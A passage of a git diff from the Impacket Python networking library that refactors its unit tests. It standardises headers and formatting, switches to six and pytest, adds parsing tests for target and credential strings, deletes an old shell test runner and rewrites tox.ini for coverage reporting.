theClass(NDRSTRUCT): structure = ( ('Array', NDRUniConformantVaryingArray), ) + def populate(self, a): a['Array'] = b'12345678' + hexData = '08000000 00000000 08000000 31323334 35363738' hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738' -class TestVaryingString(NDRTest): + +class TestVaryingString(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('Array', NDRVaryingString), ) + def populate(self, a): a['Array'] = b'12345678' + hexData = '00000000 09000000 31323334 35363738 00' hexData64 = '00000000 00000000 09000000 00000000 31323334 35363738 00' -class TestConformantVaryingString(NDRTest): + +class TestConformantVaryingString(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('Array', NDRConformantVaryingString), ) - + def populate(self, a): a['Array'] = b'12345678' + hexData = '08000000 00000000 08000000 31323334 35363738' hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738' -class TestPointerNULL(NDRTest): + +class TestPointerNULL(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('Array', NDRPOINTERNULL), ) + def populate(self, a): pass + hexData = '00000000' hexData64 = '00000000 00000000' -if __name__=='__main__': - # Hide base class so that unittest.main() will not try to load it - del NDRTest + +if __name__ == '__main__': unittest.main(verbosity=1) diff --git a/tests/misc/test_dns.py b/tests/misc/test_dns.py index b24e392470..e272340960 100644 --- a/tests/misc/test_dns.py +++ b/tests/misc/test_dns.py @@ -1,11 +1,21 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from impacket.dns import DNS + class DNSTests(unittest.TestCase): def test_str(self): - def chk(b,t): - self.assertEqual(str(DNS(b)),t) + def chk(b, t): + self.assertEqual(str(DNS(b)), t) chk(b"\x6a\x8c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77" b"\x05\x74\x61\x72\x74\x61\x03\x63\x6f\x6d\x00\x00\x01\x00\x01", @@ -133,5 +143,6 @@ def chk(b,t): " * Domain: ns3.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 5 seconds - {'IPAddress': '216.239.36.10'}\n" " * Domain: ns4.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 8 seconds - {'IPAddress': '216.239.38.10'}\n") -if __name__=='__main__': + +if __name__ == '__main__': unittest.main(verbosity=1) diff --git a/tests/misc/test_dpapi.py b/tests/misc/test_dpapi.py index 6622bac73c..485bb5eafe 100755 --- a/tests/misc/test_dpapi.py +++ b/tests/misc/test_dpapi.py @@ -1,17 +1,21 @@ -############################################################################### -# Tested so far: +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. # -# MasterKey +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # +# Tested so far: +# MasterKey +# Not yet: # -################################################################################ - import unittest from binascii import unhexlify -from impacket.dpapi import DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS +from impacket.dpapi import DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB,\ + CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS from Cryptodome.Cipher import AES from Cryptodome.Hash import HMAC, MD4, SHA1 @@ -200,7 +204,7 @@ def test_decryptVCrd(self): else: raise Exception('No valid Schema') + # Process command-line arguments. if __name__ == '__main__': - suite = unittest.TestLoader().loadTestsFromTestCase(DPAPITests) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/misc/test_ip6_address.py b/tests/misc/test_ip6_address.py index 2e352cd158..16361a3b59 100644 --- a/tests/misc/test_ip6_address.py +++ b/tests/misc/test_ip6_address.py @@ -1,61 +1,66 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import six import unittest from binascii import hexlify from impacket.IP6_Address import IP6_Address + def hexl(b): return hexlify(b).decode('ascii') + class IP6AddressTests(unittest.TestCase): def test_bin(self): - tests = (("A:B:C:D:E:F:1:2",'000a000b000c000d000e000f00010002', + tests = (("A:B:C:D:E:F:1:2", '000a000b000c000d000e000f00010002', "A:B:C:D:E:F:1:2"), - ("A:B:0:D:E:F:0:2",'000a000b0000000d000e000f00000002', + ("A:B:0:D:E:F:0:2", '000a000b0000000d000e000f00000002', "A:B::D:E:F:0:2"), - ("A::BC:E:D",'000a000000000000000000bc000e000d', + ("A::BC:E:D", '000a000000000000000000bc000e000d', "A::BC:E:D"), - ("A::BCD:EFFF:D",'000a00000000000000000bcdefff000d', + ("A::BCD:EFFF:D", '000a00000000000000000bcdefff000d', "A::BCD:EFFF:D"), ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 'fe80000000000000020c29fffe26e251', "FE80::20C:29FF:FE26:E251"), - ("::",'00000000000000000000000000000000', + ("::", '00000000000000000000000000000000', "::"), - ("1::",'00010000000000000000000000000000', + ("1::", '00010000000000000000000000000000', "1::"), - ("::2",'00000000000000000000000000000002', - "::2"), - ) - # print IP6_Address("A::BC:E:D").as_string(False) + ("::2", '00000000000000000000000000000002', + "::2"), + ) + # print IP6_Address("A::BC:E:D").as_string(False) for torig, thex, texp in tests: ip = IP6_Address(torig) byt = ip.as_bytes() self.assertEqual(hexl(byt), thex) self.assertEqual(ip.as_string(), texp) - if not hasattr(unittest.TestCase,'assertRaisesRegex'): - if hasattr(unittest.TestCase,'assertRaisesRegexp'): # PY2.7, PY3.1 - assertRaisesRegex = unittest.TestCase.assertRaisesRegexp - else: # PY2.6 - def assertRaisesRegex(self,ex,rx,*args): - # Just ignore the regex - return self.assertRaises(ex,rx,*args) - def test_malformed(self): - with self.assertRaisesRegex(Exception,r'address size'): + with six.assertRaisesRegex(self, Exception, r'address size'): IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") - with self.assertRaisesRegex(Exception,r'triple colon'): + with six.assertRaisesRegex(self, Exception, r'triple colon'): IP6_Address(":::") - with self.assertRaisesRegex(Exception,r'triple colon'): + with six.assertRaisesRegex(self, Exception, r'triple colon'): IP6_Address("::::") # Could also test other invalid inputs - #IP6_Address("AB:CD:EF") - #IP6_Address("12::34::56") - #IP6_Address("00BCDE::") - #IP6_Address("DEFG::") + # IP6_Address("AB:CD:EF") + # IP6_Address("12::34::56") + # IP6_Address("00BCDE::") + # IP6_Address("DEFG::") # and how about these... - #IP6_Address("A::0XBC:D") - #IP6_Address("B:-123::") - #IP6_Address("B:56 ::-0xE") + # IP6_Address("A::0XBC:D") + # IP6_Address("B:-123::") + # IP6_Address("B:56 ::-0xE") + -if __name__=='__main__': +if __name__ == '__main__': unittest.main(verbosity=1) diff --git a/tests/misc/test_krb5_crypto.py b/tests/misc/test_krb5_crypto.py index 24b7892eaf..86aa18f008 100644 --- a/tests/misc/test_krb5_crypto.py +++ b/tests/misc/test_krb5_crypto.py @@ -1,14 +1,25 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import print_function import unittest -from binascii import hexlify, unhexlify +from binascii import unhexlify from impacket.krb5.crypto import (Key, Enctype, encrypt, decrypt, Cksumtype, verify_checksum, _zeropad, string_to_key, prf, cf2) + def h(hexstr): return unhexlify(hexstr) + class AESTests(unittest.TestCase): def test_AES128(self): # AES128 encrypt and decrypt @@ -186,5 +197,6 @@ def test_DES_string_to_key(self): k = string_to_key(Enctype.DES_MD5, string, salt) self.assertEqual(k.contents, kb) -if __name__=='__main__': + +if __name__ == '__main__': unittest.main(verbosity=1) diff --git a/tests/misc/test_structure.py b/tests/misc/test_structure.py index cd9559f2bc..c8711109a0 100644 --- a/tests/misc/test_structure.py +++ b/tests/misc/test_structure.py @@ -1,42 +1,54 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import print_function +import six import unittest -from binascii import hexlify, unhexlify +from binascii import hexlify from impacket.structure import Structure + def hexl(b): hexstr = str(hexlify(b).decode('ascii')) - return ' '.join([hexstr[i:i+8] for i in range(0,len(hexstr),8)]) + return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)]) + -class _StructureTest(unittest.TestCase): +class _StructureTest(object): # Subclass: # - must define theClass # - may override alignment alignment = 0 - def create(self,data = None): + def create(self, data=None): if data is not None: - return self.theClass(data, alignment = self.alignment) + return self.theClass(data, alignment=self.alignment) else: - return self.theClass(alignment = self.alignment) + return self.theClass(alignment=self.alignment) def test_structure(self): - #print() - #print("-"*70) - #testName = self.__class__.__name__ - #print("starting test: %s....." % testName) + # print() + # print("-"*70) + # testName = self.__class__.__name__ + # print("starting test: %s....." % testName) # Create blank structure and fill its fields a = self.create() self.populate(a) - #a.dump("packing.....") + # a.dump("packing.....") # Get its binary representation a_str = a.getData() self.check_data(a_str) - #print("packed: %r" % a_str) - #print("unpacking.....") + # print("packed: %r" % a_str) + # print("unpacking.....") b = self.create(a_str) - #b.dump("unpacked.....") - #print("repacking.....") + # b.dump("unpacked.....") + # print("repacking.....") b_str = b.getData() self.assertEqual(b_str, a_str, "ERROR: original packed and repacked don't match") @@ -49,43 +61,37 @@ def check_data(self, a_str): # Show result, to aid adding regression check print(self.__class__.__name__, hexl(a_str)) - if not hasattr(unittest.TestCase,'assertRaisesRegex'): - if hasattr(unittest.TestCase,'assertRaisesRegexp'): # PY2.7, PY3.1 - assertRaisesRegex = unittest.TestCase.assertRaisesRegexp - else: # PY2.6 - def assertRaisesRegex(self,ex,rx,*args): - # Just ignore the regex - return self.assertRaises(ex,*args) -class Test_simple(_StructureTest): +class Test_simple(_StructureTest, unittest.TestCase): class theClass(Structure): commonHdr = () structure = ( - ('int1', '!L'), - ('len1','!L-z1'), - ('arr1','B*L'), - ('code1','>L=len(arr1)*2+0x1000'), - ) + ('int1', '!L'), + ('len1', '!L-z1'), + ('arr1', 'B*L'), + ('code1', '>L=len(arr1)*2+0x1000'), + ) def populate(self, a): a['default'] = 'hola' a['int1'] = 0x3131 a['int3'] = 0x45444342 - a['z1'] = 'hola' - a['u1'] = 'hola'.encode('utf_16_le') - a[':1'] = ':1234:' - a['arr1'] = (0x12341234,0x88990077,0x41414141) + a['z1'] = 'hola' + a['u1'] = 'hola'.encode('utf_16_le') + a[':1'] = ':1234:' + a['arr1'] = (0x12341234, 0x88990077, 0x41414141) # a['len1'] = 0x42424242 hexData = '00003131 00000005 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006' + class Test_fixedLength(Test_simple): def test_structure(self): a = self.create() @@ -99,16 +105,18 @@ def test_structure(self): else: print(hexl(a_str)) # ... so that unpacking will now fail - with self.assertRaisesRegex(Exception, r'not NUL terminated'): + with six.assertRaisesRegex(self, Exception, r'not NUL terminated'): self.create(a_str) hexData = '00003131 42424242 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006' + class Test_simple_aligned4(Test_simple): alignment = 4 hexData = '00003131 00000005 03341234 12770099 88414141 41000000 686f6c61 00000000 68006f00 6c006100 00000000 434f4341 00060000 434f4341 3a313233 343a0000 45444342 00001006' -class Test_nested(_StructureTest): + +class Test_nested(_StructureTest, unittest.TestCase): class theClass(Structure): class _Inner(Structure): structure = (('data', 'z'),) @@ -128,26 +136,28 @@ def populate(self, a): hexData = '686f6c61 206d616e 6f6c6100 63686175 206c6f63 6f007856 3412' -class Test_Optional(_StructureTest): + +class Test_Optional(_StructureTest, unittest.TestCase): class theClass(Structure): structure = ( - ('pName','> 8)'), - ('pad', '_','((iv >>2) & 0x3F)'), - ('keyid', '_','( iv & 0x03 )'), - ('dataLen', '_-data', 'len(inputDataLeft)-4'), - ('data',':'), - ('icv','>L'), + ('iv', '!L=((init_vector & 0xFFFFFF) << 8) | ((pad & 0x3f) << 2) | (keyid & 3)'), + ('init_vector', '_', '(iv >> 8)'), + ('pad', '_', '((iv >>2) & 0x3F)'), + ('keyid', '_', '( iv & 0x03 )'), + ('dataLen', '_-data', 'len(inputDataLeft)-4'), + ('data', ':'), + ('icv', '>L'), ) def populate(self, a): - a['init_vector']=0x01020304 - #a['pad']=int('01010101',2) - a['pad']=int('010101',2) - a['keyid']=0x07 - a['data']="\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9" + a['init_vector'] = 0x01020304 + # a['pad']=int('01010101',2) + a['pad'] = int('010101', 2) + a['keyid'] = 0x07 + a['data'] = "\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9" a['icv'] = 0x05060708 - #a['iv'] = 0x01020304 + # a['iv'] = 0x01020304 hexData = '02030457 a0a1a2a3 a4a5a6a7 a8a90506 0708' + if __name__ == "__main__": - # Hide base class so that unittest.main() will not try to load it - del _StructureTest unittest.main(verbosity=1) diff --git a/tests/misc/test_utils.py b/tests/misc/test_utils.py new file mode 100644 index 0000000000..94683bb36c --- /dev/null +++ b/tests/misc/test_utils.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Utility and helper functions for the example scripts +# +import unittest +from impacket.examples.utils import parse_target, parse_credentials + + +class UtilsTests(unittest.TestCase): + + def test_parse_target(self): + # Parse target returns a tuple with: domain, username, password, remote_name/address + targets = { + "": ("", "", "", ""), + "HostName": ("", "", "", "HostName"), + "UserName@HostName": ("", "UserName", "", "HostName"), + "UserName:Password@HostName": ("", "UserName", "Password", "HostName"), + "UserName:Pa$$word1234@HostName": ("", "UserName", "Pa$$word1234", "HostName"), + "UserName:Password!#$@HostName": ("", "UserName", "Password!#$", "HostName"), + "UserName:Passw@rd!#$@HostName": ("", "UserName", "Passw@rd!#$", "HostName"), + "UserName:P@ssw@rd@!#$@HostName": ("", "UserName", "P@ssw@rd@!#$", "HostName"), + "DOMAIN/UserName@HostName": ("DOMAIN", "UserName", "", "HostName"), + "DOMAIN/:Password@HostName": ("DOMAIN", "", "Password", "HostName"), + "DOMAIN/UserName:Password@HostName": ("DOMAIN", "UserName", "Password", "HostName"), + "DOMAIN/UserName:Password/123@HostName": ("DOMAIN", "UserName", "Password/123", "HostName"), + } + + for target, result in targets.items(): + self.assertTupleEqual(parse_target(target), result) + + def test_parse_credentials(self): + # Parse credentials returns a tuple with: domain, username, password + creds = { + "": ("", "", ""), + "UserName": ("", "UserName", ""), + "UserName:Password": ("", "UserName", "Password"), + "UserName:Password:123": ("", "UserName", "Password:123"), + "DOMAIN/UserName": ("DOMAIN", "UserName", ""), + "DOMAIN/UserName:Password": ("DOMAIN", "UserName", "Password"), + "DOMAIN/UserName:Password/123": ("DOMAIN", "UserName", "Password/123"), + } + + for cred, result in creds.items(): + self.assertTupleEqual(parse_credentials(cred), result) + + +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/runall.sh b/tests/runall.sh deleted file mode 100755 index 9d7361bf5f..0000000000 --- a/tests/runall.sh +++ /dev/null @@ -1,88 +0,0 @@ -#!/bin/sh -if [ $# -gt 0 ] -then - SUFFIX=$1 - # Only run coverage when called by tox - RUN="python -m coverage run --append --rcfile=../coveragerc " - RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc " - COVERAGE=true -else - SUFFIX=XX - RUN=python - RUNLOCAL=python - COVERAGE= -fi - -export PYTHONPATH=../:$PYTHONPATH - -OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt -# Let's remove the OUTPUTFILE in case it exists -rm -f $OUTPUTFILE - -# Start running the tests - -echo Python Version -python -V - -echo Walking modules -$RUNLOCAL ./walkmodules.py - -echo Testing ImpactPacket -cd ImpactPacket -./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE - -echo Testing dot11 -cd ../dot11 -./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE - -# In some environments we don't have a Windows 2012 R2 Domain Controller, -# so skip these tests. -cd ../SMB_RPC -echo test_spnego.py -$RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE -echo test_ntlm.py -$RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE - -if [ -z "$NO_REMOTE" ]; then - echo Testing SMB RPC/LDAP - export PYTHONPATH=../../:$PYTHONPATH - echo test_smb.py - $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE - echo test_ldap.py - $RUN test_ldap.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE - echo test_nmb.py - $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE - ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE -fi - -echo Testing misc -cd ../misc -./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE - -cd .. - -if [ $COVERAGE ] -then - # Combine coverage and produce report - echo "Combining coverage data" - mv .coverage .coveragetmp - coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage - coverage html -i - coverage erase - rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage -fi - -if grep -q ERROR $OUTPUTFILE; -then - echo "ERRORS found, look at $OUTPUTFILE" - exit 1 -else - echo "NO ERRORS found, congrats!" - rm $OUTPUTFILE - exit 0 -fi - -echo ================================================================================ -echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs -echo if you want newly freshed coverage stats -echo ================================================================================ diff --git a/tox.ini b/tox.ini index adced1e9c1..0dc001ba4b 100644 --- a/tox.ini +++ b/tox.ini @@ -1,16 +1,60 @@ # content of: tox.ini , put in same dir as setup.py [tox] -envlist = py27,py36,py37,py38,py39 +envlist = clean,py{27,36,37,38,39},report + [testenv] -basepython = - py27: python2.7 - py36: python3.6 - py37: python3.7 - py38: python3.8 - py39: python3.9 -changedir = {toxinidir}/tests -deps=-rrequirements.txt - coverage -passenv = NO_REMOTE -commands_pre = {envpython} -m pip check -commands=./runall.sh {envname} > /dev/null +deps = -r requirements-test.txt +passenv = REMOTE_CONFIG +commands = + {envpython} -m pip check + pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs} +depends = + py{27,36,37,38,39}: clean + report: py{27,36,37,38,39} + +[testenv:clean] +basepython = python3.8 +deps = coverage +skip_install = true +commands = + coverage erase + +[testenv:report] +basepython = python3.8 +deps = coverage +skip_install = true +commands = + coverage report + coverage html + +[pytest] +markers = + remote: marks tests as remote + +[coverage:run] +branch = True +source = impacket +omit = *remcom* + *.tox* + +[coverage:report] +# Regexes for lines to exclude from consideration +exclude_lines = + # Have to re-enable the standard pragma + pragma: no cover + + # Don't complain about missing debug-only code: + if self\.debug + + # Don't complain if tests don't hit defensive assertion code: + raise AssertionError + raise NotImplementedError + + # Don't complain if non-runnable code isn't run: + if 0: + if __name__ == .__main__.: + +ignore_errors = True + +[coverage:html] +show_contexts = True